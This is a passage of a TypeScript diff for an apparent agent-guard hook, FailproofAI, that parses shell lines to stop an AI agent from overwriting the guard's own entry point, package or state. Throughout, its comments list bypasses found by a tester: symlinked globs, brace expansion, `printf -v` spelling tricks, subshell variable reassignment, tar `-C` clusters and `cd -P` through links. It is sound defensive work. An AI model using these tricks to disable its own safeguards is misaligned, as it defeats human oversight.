undefined) return false; + const real = realPath(raw); + if (real === ELOOP) return true; + if (typeof real !== "string") return lostNamesState({ via: real.via, lost: real.lost === "" ? pattern : `${real.lost}/${pattern}` }); + if (real !== shellPath(undefined, raw) && namesState(`${real === "/" ? "" : real}/${pattern}`)) return true; + // A pattern only in the last component matches names in one directory: + // what counts there is a match that is a link (`hoo*` reaching `hook`, a + // link to the entry). In npm's bin directory or a `node_modules`, its + // names are what the pattern is read against, so a sweep stays a sweep; + // what a sweep writes is judged by `sweepWritesEntry`. + if (!inDirectory && (NPM_BIN_DIRECTORY_RE.test(real) || /(?:^|\/)(?:node_modules|\.pnpm)$/i.test(real))) return false; + const matches = inDirectory ? expandOnDisk(real, pattern) : linksMatching(real === "/" ? "" : real, pattern); + if (matches === null) return true; + return matches.some((match) => { + const reached = realPath(match); + if (reached === ELOOP) return true; + if (typeof reached !== "string") return lostNamesState(reached); + return (inDirectory || reached !== shellPath(undefined, match)) && namesState(reached); + }); + }); + }; + // Every word a brace expands to is read: a literal one as the path it is, + // which costs a lookup, and one that is still a pattern on disk, of which + // at most MAX_BRACE_WORDS_ON_DISK are expanded. Past that the rest are + // refused rather than dropped: `tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},hook}` + // wrote through `hook` as its 65th word (found by hermes on + // FailproofAI/failproofai#1058). + const globLandsOnState = (written: string): boolean => { + let patterns = 0; + for (const word of expandBraces(written)) { + if (!isGlobPart(word)) { + if (word !== written && landsOnState(word)) return true; + continue; + } + if (++patterns > MAX_BRACE_WORDS_ON_DISK) return true; + if (patternLandsOnState(word)) return true; + } + return false; + }; + const landsOnState = (written: string): boolean => + realPathsOf(written).some(({ plain, real }) => + real === ELOOP ? true : typeof real !== "string" ? lostNamesState(real) : real !== plain && namesState(real), + ) || + (isGlobPart(written) && globLandsOnState(written)); + const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // A glob that sweeps npm's bin directory reaches every name in it, which is + // harmless for a delete (`rm -rf node_modules/.bin/*` stays allowed) and + // the entry for a write: `tee bins/* < stub` with `bins` a link to + // `node_modules/.bin` overwrote it (found by hermes on + // FailproofAI/failproofai#1058). So a written word whose last component is + // a pattern, in a bin directory, lands on the entry when the pattern matches + // the entry there, or a link there that reaches the entry or the state. + const sweepWritesEntry = (written: string): boolean => { + if (!GLOB_METACHAR_RE.test(written)) return false; + let patterns = 0; + for (const word of expandBraces(written)) { + const cut = word.replace(/[\\/]+$/, "").lastIndexOf("/"); + const pattern = word.slice(cut + 1); + const directory = cut === -1 ? "." : word.slice(0, cut) || "/"; + if (!GLOB_METACHAR_RE.test(pattern) || GLOB_METACHAR_RE.test(directory) || /[$`]/.test(word)) continue; + if (++patterns > MAX_BRACE_WORDS_ON_DISK) return true; + let matcher: RegExp; + try { + matcher = new RegExp(`^${compileGlobPattern(pattern)}$`); + } catch { + continue; + } + for (const base of [at, ...alts]) { + const path = absoluteFrom(base, directory); + if (path === undefined) continue; + const real = realPath(path.raw); + if (typeof real !== "string" || !NPM_BIN_DIRECTORY_RE.test(real)) continue; + const dir = real === "/" ? "" : real; + if (NPX_ENTRY_NAMES.some((name) => matcher.test(name) && present(`${dir}/${name}`))) return true; + for (const name of linkNamesIn(dir)) { + if ((name.startsWith(".") && !pattern.startsWith(".")) || !matcher.test(name)) continue; + const reached = realPath(`${dir}/${name}`); + if (reached === ELOOP) return true; + if (typeof reached !== "string") { + if (lostNamesState(reached)) return true; + } else if (NPX_ENTRY_PATH_RE.test(reached) || FAILPROOFAI_STATE_PATH_RE.test(reached)) return true; + } + } + } + return false; + }; + // From a directory the agent may have run the line in without saying so + // (`anywhere`), a relative destination that would be the entry, or the + // package, wherever that directory is: `printf … > failproofai`, and through + // any directory on the way, since one there may be a link into a bin + // directory or a `node_modules` that no lstat can see from here + // (`bins/failproofai`, `deps/failproofai/dist/cli.mjs`; found by hermes on + // FailproofAI/failproofai#1058). + const anywhereHere = (): boolean => at.anywhere === true || alts.some((base) => base.anywhere === true); + const plantsAnywhere = (written: string): boolean => { + if (!relativeWord(written) || /[$`]/.test(written)) return false; + const parts = written.replace(/[\\/]+$/, "").split(/[\\/]+/); + if (couldBeEntryName(parts[parts.length - 1])) return true; + // The package is read from each component that could start it, a few at most. + let tried = 0; + for (let i = 0; i < parts.length && tried < 16; i++) { + if (!/^(?:failproof|\.pnpm$|@failproofai$)/i.test(parts[i])) continue; + tried++; + const rest = parts.slice(i).join("/"); + if (AS_IF_INSTALLED.some((dir) => FAILPROOFAI_CODE_PATH_RE.test(dir + rest))) return true; + } + return false; + }; + // What a simple command writes that its options or operands name, read from + // such a directory: an output flag's value, separate or glued (`curl -o`, + // `wget -O`, `gcc -o`, `--output=`), every operand of a command that writes + // them all (`tee`), the last of one that writes its second (`uniq`), and + // `dd of=`. Copies, moves, links and downloads are judged where they land. + const writesEntryAnywhere = (list: string[]): boolean => { + if (list.length === 0) return false; + const head = commandBasename(list[0]); + const args = list.slice(1); + const operands = args.filter((arg) => !arg.startsWith("-")); + if (OPERAND_WRITE_COMMANDS.has(head) && operands.some(plantsAnywhere)) return true; + if (SECOND_OPERAND_WRITERS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; + // A copy's destination into the package (`deps/failproofai/dist/cli.mjs`); + // where its sources land by name is judged with the other landings. + if (COPY_COMMANDS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; + if (head === "dd" && args.some((arg) => arg.startsWith("of=") && plantsAnywhere(arg.slice(3)))) return true; + if (head === "sed" && sedWriteTargets(args).some(plantsAnywhere)) return true; + const known = SHORT_VALUE_OPTIONS[head]; + const outputLetters = SHORT_OUTPUT_OPTIONS[head]; + return args.some((arg, i) => { + const long = /^--(?:output|out)[\w-]*(=)?/.exec(arg); + if (long) return plantsAnywhere(long[1] ? arg.slice(arg.indexOf("=") + 1) : (args[i + 1] ?? "")); + // The other files curl writes (`--stderr`, `--dump-header`, …), by any + // prefix of the name curl before 8 takes. + if (arg.startsWith("--") && OUTPUT_FLAG_COMMANDS[head] !== undefined) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name !== "" && !EXACT_NON_OUTPUT_OPTIONS.has(`${head} --${name}`) && OUTPUT_FLAG_COMMANDS[head].some((flag) => flag.startsWith(`--${name}`))) { + return plantsAnywhere(eq === -1 ? (args[i + 1] ?? "") : arg.slice(eq + 1)); + } + } + if (!/^-[A-Za-z]/.test(arg)) return false; + // Where the command's value letters are known, the cluster is read as + // getopt reads it: flags up to the first letter that takes a value, and + // that value, glued on or the next word, a file written only when the + // letter is an output's. curl's `-O` takes none, so `cd out && curl -sO + // http://host/failproofai/my-tool` names no file; where it lands is + // judged with the other downloads (found by hermes on + // FailproofAI/failproofai#1058). + if (known !== undefined) { + for (let c = 1; c < arg.length; c++) { + if (!known.includes(arg[c])) continue; + return outputLetters.includes(arg[c]) && plantsAnywhere(c + 1 < arg.length ? arg.slice(c + 1) : (args[i + 1] ?? "")); + } + return false; + } + if (/^-[A-Za-z]*[oO]$/.test(arg)) return plantsAnywhere(args[i + 1] ?? ""); + // Glued on after an `o` or `O`. + for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { + if (c > MAX_OPTION_CLUSTER) return /failproof/i.test(arg); + if ((arg[c] === "o" || arg[c] === "O") && plantsAnywhere(arg.slice(c + 1))) return true; + } + return false; + }); + }; + // `namesHere` for a value glued to an option, of which a long command line + // has one per letter of its option words. Every protected name spells + // `failproof`, so a value that spells none, climbs nowhere and expands to + // nothing can only reach one through a link: one this line made, or one on + // disk under a first component that exists, which each directory's listing, + // read once, answers. + const existsIn = (directory: string, name: string): boolean => { + const names = listingOf(directory); + return names === null ? exists(`${directory}/${name}`) : names.has(name); + }; + const gluedValueNamesHere = (value: string): boolean => { + if (/failproof|\.\.|[$~]|[*?[{]|[@+!]\(/i.test(value) || links.size > 0 || value.startsWith("/")) { + return namesHere(value); } - if (stateVars.size === before) break; - } - - const namesState = (text: string): boolean => { - if (FAILPROOFAI_STATE_PATH_RE.test(text)) return true; - for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { - if (stateVars.has(name)) return true; + const relative = value.replace(/^(?:\.\/+)+/, ""); + const first = relative.slice(0, (relative.indexOf("/") + 1 || relative.length + 1) - 1); + return ( + first !== "" && + [at, ...alts].some((base) => !base.lost && base.full?.startsWith("/") === true && existsIn(base.full, first)) && + landsOnState(value) + ); + }; + // What the line has assigned by the point the walk reaches, so a word built + // from it is judged as the path it spells: `B=~/node_modules/.bin; ln -s + // /tmp/stage $B`. In a loop a later assignment can come first, so there the + // last one is known from the start. `$PWD` and `~+` are where the shell + // stands, `~-` where it stood, `$HOME` is `~` unless the line sets it. A + // variable the line never sets stays a reference, and a `cd` into one is a + // `cd` the walk cannot follow. Every word is judged as written as well, so an + // assignment the shell never makes (`: D=x`) cannot hide one. + const values = new Map(LOOP_HEADER_RE.test(command) ? assignments : []); + // A variable's value where the shell stands at `here`: `$PWD` is that + // directory, `$HOME` is `~` unless the line sets it. + const valueAt = (name: string, here: Where): string | undefined => + name === "PWD" && here.dir !== undefined && !here.lost ? here.dir : (values.get(name) ?? (name === "HOME" ? "~" : undefined)); + const expandAt = (word: string, here: Where): string => { + let out = word; + if (out.startsWith("~+") && here.dir !== undefined && !here.lost) out = here.dir + out.slice(2); + else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); + if (!out.includes("$")) return out; + // Each operator as bash applies it (`${D%/}` is `D` without its trailing + // `/`), and a variable read in a value read too. + const results = expandParameters(out, (name) => { + const value = valueAt(name, here); + return value === undefined ? [] : [value]; + }, 64); + out = results?.[0] ?? word; + // A value that refers to itself grows with every pass. + return out.length > 4096 ? word : out; + }; + const expand = (word: string): string => expandAt(word, at); + // Every value the line gives each variable. One set only in a subshell or + // only for one command (`(F=x)`, `F=x true`) does not replace the value + // before it, so a word is also read with each other value its variables are + // given (found by hermes on FailproofAI/failproofai#1058). + // Outside a loop only what the line has assigned by the point the walk + // reaches counts, as with `values`; in one, every assignment may come first. + const everyValue = new Map(); + let reassigned = false; + const variantsByWord = new Map(); + const assigned = (name: string, value: string) => { + const seen = everyValue.get(name) ?? []; + if (seen.includes(value)) return; + seen.push(value); + everyValue.set(name, seen); + if (seen.length > 1) reassigned = true; + variantsByWord.clear(); + }; + if (LOOP_HEADER_RE.test(command)) for (const [name, value] of assignments) assigned(name, value); + // Every value is tried, so decoys in front of or after the one that counts + // cannot push it out of reach; past VARIANT_BUDGET tries the line is refused + // as one the walk could not read. + let variantBudget = VARIANT_BUDGET; + // Every combination of the values of the reassigned variables a word names, + // one value per variable as the shell uses it: `A=fail; B=proofai; (A=x; + // B=y); printf x > node_modules/.bin/$A$B` writes `failproofai`, which + // swapping one variable at a time never spelled (found by hermes on + // FailproofAI/failproofai#1058). + // A `${name:-word}` default, `${!name}` and the other operators give a word + // other values too, so those are read even when nothing is reassigned: + // `cp stub ${X:-bins}/failproofai` writes through `bins` when `X` is unset. + const variantsOf = (word: string): string[] => { + if (!word.includes("$") || (!reassigned && !OPERATED_REFERENCE_RE.test(word))) return []; + const known = variantsByWord.get(word); + if (known !== undefined) return known; + const results = expandParameters( + word, + (name) => { + const every = everyValue.get(name); + if (every !== undefined && every.length > 0 && !(name === "PWD" && at.dir !== undefined && !at.lost)) return every; + const value = valueAt(name, at); + return value === undefined ? [] : [value]; + }, + Math.max(variantBudget, 1), + ); + if (results === null) throw new Error("a variable is reassigned too many times to follow"); + if (results.length > 1) variantBudget -= results.length; + if (variantBudget < 0) throw new Error("a variable is reassigned too many times to follow"); + const current = expand(word); + const found = results.filter((variant) => variant !== current && variant.length <= 4096); + variantsByWord.set(word, found); + return found; + }; + // `$PWD` and `~+` name wherever the shell stands, which after a move that + // may have failed is any of the places it may be. + const NAMES_PWD_RE = /\$\{?PWD\b|^~\+/; + const expandEverywhere = (word: string): string[] => + NAMES_PWD_RE.test(word) ? alts.map((alt) => expandAt(word, alt)) : []; + // Gives `name` the values in `found`, keeping each it held before as one + // it may still hold; with none, a value the walk cannot know. + const setVariable = (name: string, found: readonly string[]) => { + if (values.has(name)) assigned(name, values.get(name)!); + if (found.length === 0) { + values.delete(name); + variantsByWord.clear(); + return; } - // Per token, not over the whole text: a glob compiled from a whole command - // line matches nothing, and it is the individual operand — `~/.failproof*` - // — that would expand onto the state. - return text.split(/\s+/).some((token) => globCouldNameState(unquotedToken(token))); + for (const value of found) assigned(name, value); + values.set(name, found[found.length - 1]); + }; + // What a glob word expands to on disk from `base`, as the shell expands + // it; `null` past GLOB_DISK_LIMIT paths or from a directory the walk lost. + const globPaths = (base: Where, word: string): string[] | null => { + const absolute = word.startsWith("/") + ? word + : word === "~" || word.startsWith("~/") + ? homedir() + word.slice(1) + : !base.lost && base.full?.startsWith("/") + ? `${base.full}/${word}` + : undefined; + return absolute === undefined ? null : expandOnDisk("/", absolute.slice(1)); + }; + // A loop's variable takes each value its list gives as the shell expands + // it: `for d in out bins; do cp stub $d/failproofai; done` writes through + // `bins`, and `for f in many/*` through every link the pattern matches + // (found by hermes on FailproofAI/failproofai#1058). Past MAX_LOOP_VALUES, + // only the values that may reach what is protected are kept. + const loopValues = (name: string, list: string) => { + const found: string[] = []; + let plain = 0; + const take = (value: string, reaches: boolean) => { + if (found.includes(value) || (!reaches && plain++ >= MAX_LOOP_VALUES)) return; + found.push(value); + }; + const nameReaches = (path: string): boolean => /failproof/i.test(path) || couldBeEntryName(path.slice(path.lastIndexOf("/") + 1)); + const linked = (path: string): boolean => { + const cut = path.lastIndexOf("/"); + return linkNamesIn(path.slice(0, cut)).includes(path.slice(cut + 1)); + }; + for (const { raw } of shellWords(list)) { + const word = bareToken(raw); + if (word === "" || word === "do") continue; + for (const each of [expand(word), ...variantsOf(word)]) { + if (!GLOB_METACHAR_RE.test(each) || /[$`]/.test(each)) { + take(each, nameReaches(each) || isBinDir(each) || landsOnState(each)); + continue; + } + const matches = globPaths(at, each); + if (matches === null) { + // Too many names to read one by one: in one directory, only its + // links and the entry reach anywhere else. + const cut = each.lastIndexOf("/"); + const part = each.slice(cut + 1); + const directory = cut === -1 ? "." : each.slice(0, cut) || "/"; + if (GLOB_METACHAR_RE.test(directory)) throw new Error("a loop runs over more paths than the walk reads"); + for (const { real } of realPathsOf(directory)) { + if (typeof real !== "string") throw new Error("a loop runs over more paths than the walk reads"); + const dir = real === "/" ? "" : real; + const links = linksMatching(dir, part); + if (links === null) throw new Error("a loop runs over more paths than the walk reads"); + for (const link of links) take(link, true); + const re = wholeGlob(part); + for (const entry of NPX_ENTRY_NAMES) if (re?.test(entry) && present(`${dir}/${entry}`)) take(`${dir}/${entry}`, true); + } + continue; + } + if (matches.length === 0) take(each, nameReaches(each)); + for (const match of matches) take(match, nameReaches(match) || (linked(match) && (landsOnState(match) || isBinDir(match)))); + } + } + setVariable(name, found); + }; + // `read`, `printf -v`, `mapfile` and `unset`, which set a variable without + // `=`: `read D <<< bins` gives `D` the here-string, and a value read from a + // file or a pipe is one the walk cannot know. + const setByBuiltin = (head: string, words: string[], simple: string) => { + if (head === "read") { + const names: string[] = []; + for (let k = 1; k < words.length; k++) { + if (/^-[A-Za-z]*[adinNptu]$/.test(words[k])) { + if (words[k].endsWith("a")) names.push(words[k + 1] ?? ""); + k++; + } else if (!words[k].startsWith("-")) names.push(words[k]); + } + const here = /<<<\s*("[^"]*"|'[^']*'|\S+)/.exec(simple); + const text = here === null ? undefined : expand(bareToken(here[1])); + const fields = text?.split(/[ \t\n]+/).filter((field) => field !== "") ?? []; + names.forEach((name, index) => { + if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(name)) return; + if (text === undefined) setVariable(name, []); + else setVariable(name, [index === names.length - 1 ? fields.slice(index).join(" ") : (fields[index] ?? "")]); + }); + if (names.length === 0) setVariable("REPLY", text === undefined ? [] : [text]); + } else if (head === "printf" && words[1] === "-v" && words[2] !== undefined) { + const format = expand(words[3] ?? ""); + const args = words.slice(4).map(expand); + // bash reuses the format until every argument is used (`printf -v D + // '%s' ho ok` is `hook`; found by hermes on FailproofAI/failproofai#1058). + // Numbers are converted as bash converts them (`%d` of `0x10` is `16`; + // found by hermes on FailproofAI/failproofai#1058); a form this does not + // compute leaves the variable unknown. + const value = bashPrintf(format, args); + // Unquoted, a value with spaces splits into words (`%2d` of 16 is ` 16`): + // each is a value the variable may stand for. + const fields = value === null ? [] : value.split(/\s+/).filter((field) => field !== "" && field !== value); + setVariable(words[2], value === null || /\\/.test(value) ? [] : [value, ...fields]); + } else if (head === "mapfile" || head === "readarray") { + const named = words.slice(1).filter((word, k, all) => !word.startsWith("-") && !/^-[A-Za-z]*[dnOsuC]$/.test(all[k - 1] ?? "")); + setVariable(named[named.length - 1] ?? "MAPFILE", []); + } else if (head === "unset") { + for (const word of words.slice(1)) if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(word)) setVariable(word, []); + } + }; + // A copy, move or link into a directory the walk cannot read puts each + // source there by its own name: `D=$(npm root)/.bin; cp stub/failproofai $D`. + const copiesIntoUnread = (list: string[]): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + if (!COPY_COMMANDS.has(head) && head !== "mv" && head !== "ln") return false; + const operands = list.slice(1).filter((arg) => !arg.startsWith("-")); + if (operands.length < 2 || !new RegExp(UNREAD_VALUE_RE.source).test(operands[operands.length - 1])) return false; + return operands.slice(0, -1).some((source) => couldBeEntryName(baseNameOf(source))); + }; + // What a sed script read from a file writes (`sed -n -f s.sed in`, the + // script holding `w hook`): the script as it is on disk, and one the walk + // cannot read (not there yet, standard input, or not a small regular file) + // is read as writing what is protected. + const sedScriptWrites = (args: string[]): boolean => + sedScriptFiles(args).some((file) => { + const text = instructionsIn(file); + return text === null || sedWriteTargets([text]).some(namesHere); + }); + // A file a command takes what it does from, as it is on disk where the + // shell stands; `null` for one the walk cannot read: standard input, one + // not there yet, or one that is not a small regular file. + const instructionsIn = (file: string): string | null => { + const path = file === "-" || file === "" ? undefined : absoluteFrom(at, file); + if (path === undefined) return null; + try { + const info = statSync(path.raw); + if (!info.isFile() || info.size > MAX_INSTRUCTION_FILE_BYTES) return null; + return readFileSync(path.raw, "utf8"); + } catch { + return null; + } + }; + // A patch applied from a file writes every file it names (`patch -p1 < + // stub.patch`, `patch -i stub.patch`, `git apply stub.patch`), each read + // with up to three leading directories stripped, as `-p` may, and from the + // directory `-d` / `--directory` names. One the walk cannot read, from a + // pipe or not there yet, is read as writing what is protected. + const patchFileWrites = (list: string[], simple: string): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + const args = list.slice(1); + const files: string[] = []; + const into: string[] = [""]; + if (head === "patch") { + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "-i" || arg === "--input") files.push(args[++k] ?? ""); + else if (arg.startsWith("--input=")) files.push(arg.slice(8)); + else if (/^-i./.test(arg)) files.push(arg.slice(2)); + else if (arg === "-d" || arg === "--directory") into.push(args[++k] ?? ""); + else if (arg.startsWith("--directory=")) into.push(arg.slice(12)); + else if (/^-d./.test(arg)) into.push(arg.slice(2)); + } + if (files.length === 0) { + const redirected = /(?:^|[^<])<(?![<(])\s*("[^"]*"|'[^']*'|[^\s<>|&;]+)/.exec(simple); + files.push(redirected === null ? "-" : bareToken(redirected[1])); + } + } else if (head === "git") { + const subcommand = gitSubcommandIndex(args); + if (subcommand < 0 || (args[subcommand] !== "apply" && args[subcommand] !== "am")) return false; + for (const arg of args.slice(subcommand + 1)) { + if (arg.startsWith("--directory=")) into.push(arg.slice(12)); + else if (!arg.startsWith("-")) files.push(arg); + } + if (files.length === 0) files.push("-"); + } else return false; + for (const file of files) { + const text = instructionsIn(file); + if (text === null) return true; + for (const target of patchTargets({ patch: text })) { + const parts = target.split("/"); + for (let strip = 0; strip <= Math.min(3, parts.length - 1); strip++) { + const rest = parts.slice(strip).join("/"); + if (into.some((dir) => namesHere(dir === "" ? rest : `${dir.replace(/\/+$/, "")}/${rest}`))) return true; + } + } + } + return false; + }; + // An archive extracted into npm's bin directory puts there names the line + // never spells: `tar -xf stub.tar -C bins`, `cd bins && unzip ../stub.zip`. + const extractsIntoBin = (list: string[]): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + const args = list.slice(1); + let into = "."; + // tar takes each `-C` from the directory the one before it left, and a + // member goes to the `-C` before it on the line, so every one is a place + // the archive may write (`-C bins failproofai -C out other`; found by + // hermes on FailproofAI/failproofai#1058). + const intos: string[] = []; + const changeDir = (dir: string) => { + if (dir === "") return; + const previous = intos[intos.length - 1]; + intos.push(dir); + if (previous !== undefined && previous !== "." && !dir.startsWith("/") && !dir.startsWith("~")) intos.push(`${previous.replace(/\/+$/, "")}/${dir}`); + }; + let extracting = false; + if (head === "tar" || head === "gtar" || head === "bsdtar") { + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name.length >= 3 && "directory".startsWith(name)) changeDir(eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1)); + else if (name.length >= 3 && ("extract".startsWith(name) || name === "get")) extracting = true; + continue; + } + // The old form (`xzf` first, no dash): its value letters take the + // words after it in order. + if (!arg.startsWith("-")) { + if (k > 0) continue; + if (arg.includes("x")) extracting = true; + for (const letter of arg) { + if (letter === "C") changeDir(args[++k] ?? ""); + else if (TAR_SHORT_VALUE_OPTIONS.includes(letter)) k++; + } + continue; + } + // A dashed cluster, as getopt reads it: a letter that takes a value + // takes the rest of the cluster, or the next word when none is left + // (`-Cbins`, `-xfstub.tar`; found by hermes on FailproofAI/failproofai#1058). + for (let i = 1; i < arg.length; i++) { + const letter = arg[i]; + if (letter === "x") extracting = true; + if (letter !== "C" && !TAR_SHORT_VALUE_OPTIONS.includes(letter)) continue; + const value = i + 1 < arg.length ? arg.slice(i + 1) : (args[++k] ?? ""); + if (letter === "C") changeDir(value); + break; + } + } + } else if (head === "unzip") { + extracting = true; + const option = args.indexOf("-d"); + if (option !== -1) into = args[option + 1] ?? into; + } else if (head === "cpio") { + extracting = args.some((arg) => /^-[A-Za-z]*i/.test(arg) || arg === "--extract"); + } else if (head === "7z" || head === "7za" || head === "7zz") { + extracting = args[0] === "x" || args[0] === "e"; + const out = args.find((arg) => arg.startsWith("-o")); + if (out !== undefined) into = out.slice(2); + } + if (!extracting) return false; + const places = intos.length > 0 ? [into, ...intos] : [into]; + return places.some((place) => isBinDir(place === "" ? "." : place)); + }; + // curl reads options from `-K FILE` / `--config FILE` as if they were on + // the line, so they are read onto it; one it cannot read is refused. A + // short-option cluster is read the way curl's parser reads it: `K` takes + // the rest of the cluster or the next word (`-sKinner.cfg`), and a letter + // that takes a value before it makes the `K` part of that value (`-oK`). A + // config may name another (`config = inner.cfg`), which is read in turn, + // MAX_CURL_CONFIG_DEPTH deep and MAX_INSTRUCTION_FILE_BYTES in all (found by + // hermes on FailproofAI/failproofai#1058). + const withCurlConfig = (list: string[]): string[] | null => { + if (list.length === 0 || commandBasename(list[0]) !== "curl") return list; + let bytes = 0; + const expandArgs = (args: string[], depth: number): string[] | null => { + const out: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + let file: string | undefined; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name.length >= 4 && "config".startsWith(name)) file = eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1); + } else if (/^-[^-]/.test(arg)) { + for (let i = 1; i < arg.length; i++) { + const letter = arg[i]; + if (letter === "K") { + if (i > 1) out.push(arg.slice(0, i)); + file = i + 1 < arg.length ? arg.slice(i + 1) : (args[++k] ?? ""); + break; + } + if (CURL_SHORT_VALUE_OPTIONS.includes(letter)) break; + } + } + if (file === undefined) { + out.push(arg); + continue; + } + if (depth >= MAX_CURL_CONFIG_DEPTH) return null; + const text = instructionsIn(file); + if (text === null) return null; + bytes += text.length; + if (bytes > MAX_INSTRUCTION_FILE_BYTES) return null; + const nested = expandArgs(curlConfigArgs(text), depth + 1); + if (nested === null) return null; + out.push(...nested); + } + return out; + }; + const expanded = expandArgs(list.slice(1), 0); + return expanded === null ? null : [list[0], ...expanded]; + }; + // A written word that still holds a value the walk cannot read — a + // substitution, or a variable set from what it cannot read or never set — + // could be anything there: `D=$(echo bins); cp stub $D/failproofai`. It + // lands on the entry or the state when what follows the last such value + // could, as if from anywhere npm installs (`$D/failproofai`), or when the + // name itself is unread and could be the entry, in a directory that is, or + // may be, npm's bin directory (`bins/$N`, `bins/${N}proofai`). + const unreadLands = (written: string): boolean => { + if (!/[$`]/.test(written)) return false; + const marked = written.replace(UNREAD_VALUE_RE, (piece) => (piece.startsWith("$((") ? "0" : "\u0000")); + if (!marked.includes("\u0000")) return false; + const tail = marked.slice(marked.lastIndexOf("\u0000") + 1).replace(/^[\\/]+/, ""); + if (tail !== "" && lostNamesState({ via: "", lost: tail })) return true; + const trimmed = marked.replace(/[\\/]+$/, ""); + const cut = trimmed.lastIndexOf("/"); + const component = trimmed.slice(cut + 1); + if (!component.includes("\u0000") || !couldBeEntryName(component.replaceAll("\u0000", "*"))) return false; + // A name that is wholly unread, in a directory that is too, is any path + // at all, as `> "$OUT"` is: only what the line spells can be judged. + const partial = component !== "\u0000"; + const directory = cut === -1 ? "." : trimmed.slice(0, cut) || "/"; + if (directory.includes("\u0000")) return partial; + return isBinDir(directory) || (partial && anywhereHere() && relativeWord(directory)); + }; + // `named` is the operand as written, judged when the walk cannot follow it. + // A `physical` move (`cd -P`, or any `cd` after `set -P`) goes where the path + // really is, each link followed and each `..` taken after it: with `deep` a + // link to `node_modules/.bin/sub`, `cd -P deep/..` stands in `.bin`, which + // collapsing `..` as text read as the directory it started from (found by + // hermes on FailproofAI/failproofai#1058). + const whereAfter = (base: Where, target: string, named: string, physical = false): Where => { + if (/\$|`/.test(target)) return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + const relative = relativeWord(target); + if (relative && base.lost) { + return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + } + const homeBased = target === "~" || target.startsWith("~/"); + let full: string | undefined = !relative + ? target.startsWith("/") + ? shellPath(undefined, target) + : homeBased + ? shellPath(undefined, homedir() + target.slice(1)) + : undefined + : base.full !== undefined + ? shellPath(base.full === "." ? undefined : base.full, target) || "." + : undefined; + if (physical) { + const raw = !relative + ? target.startsWith("/") + ? target + : homeBased + ? homedir() + target.slice(1) + : undefined + : base.full?.startsWith("/") + ? `${base.full}/${target}` + : undefined; + if (raw !== undefined) { + const real = realPath(raw); + if (typeof real !== "string") return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + full = real; + } + } + // `~user` and a `cd` from a directory too deep to keep are read from `dir`. + const fromDir = shellPath(relative ? base.dir : undefined, target); + let deep = relative && base.deep; + if (full !== undefined && full.length > FULL_DIR_SEGMENTS && full.split("/").length > FULL_DIR_SEGMENTS) { + full = undefined; + deep = true; + } + const kept = full !== undefined ? (full === "." ? undefined : shellTail(full)) : shellTail(fromDir); + // Inside the state: going further down from inside stays inside, so only a + // move that names a new path or climbs out reads the whole path again. + const climbs = /(?:^|\/)\.\.(?:\/|$)/.test(target); + const inState = + namesState(named) || + (kept !== undefined && namesState(kept)) || + (relative && !climbs + ? base.inState + : full !== undefined && (!relative || base.inState) && FAILPROOFAI_STATE_PATH_RE.test(full)); + return { dir: kept, full, deep, lost: false, inState, anywhere: relative && base.anywhere }; + }; + // Moves the shell to `to`, and anywhere else it may stand to `others`. If + // the move fails, it stays wherever it was, which `pending` keeps — unless + // it returns somewhere the shell has already stood (`popd`, `cd -`, the + // session's own directory), which exists. + const moveTo = (to: Where, others: Where[] = [], certain = false) => { + if (sameWhere(to, at) && alts.length === 0) return; + previous = at; + if (!certain) pending = fold([...pending, at, ...alts], 2 * MAX_ALTERNATE_DIRS); + at = to; + alts = possible(others); + cwdInState = at.inState; + cdParenDepth = cwdInState ? parenDepth : null; + }; + // `cd`, `pushd` and `popd` as bash runs them. A move that fails — `popd` on + // an empty stack, `cd -` with nowhere to go back to, `cd ""` — leaves the + // shell where it was, never somewhere safe. `+N` / `-N` count entries the + // way `dirs` lists them: the current directory first, then the stack from + // its top, and `-n` changes the stack without moving. `cd -` is `$OLDPWD` and + // a bare `cd` is `$HOME`, either of which the line may set itself. + const moveShell = (head: string, args: string[], expandedArgs: string[]) => { + const stackOnly = head !== "cd" && args.includes("-n"); + const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); + // `cd -P` and `-L`, the last one given winning; `pushd` follows `set -P`. + let physical = physicalMoves; + if (head === "cd") { + for (const option of args.slice(0, k === -1 ? args.length : k)) { + if (!/^-[A-Za-z@]+$/.test(option)) continue; + for (const flag of option.slice(1)) { + if (flag === "P") physical = true; + else if (flag === "L") physical = false; + } + } + } + const named = k === -1 ? undefined : args[k]; + const operand = k === -1 ? undefined : expandedArgs[k]; + if (operand !== undefined && head !== "cd" && /^[+-]\d+$/.test(operand)) { + const entries = [at, ...[...dirStack].reverse()]; + const n = Number(operand.slice(1)); + const index = operand.startsWith("+") ? n : entries.length - 1 - n; + if (index < 0 || index >= entries.length || stackOnly) return; + if (head === "pushd") { + const rotated = [...entries.slice(index), ...entries.slice(0, index)]; + dirStack.splice(0, dirStack.length, ...rotated.slice(1).reverse()); + moveTo(rotated[0], [], true); + } else if (entries.length > 1) { + const rest = entries.filter((_, i) => i !== index); + dirStack.splice(0, dirStack.length, ...rest.slice(1).reverse()); + if (index === 0) 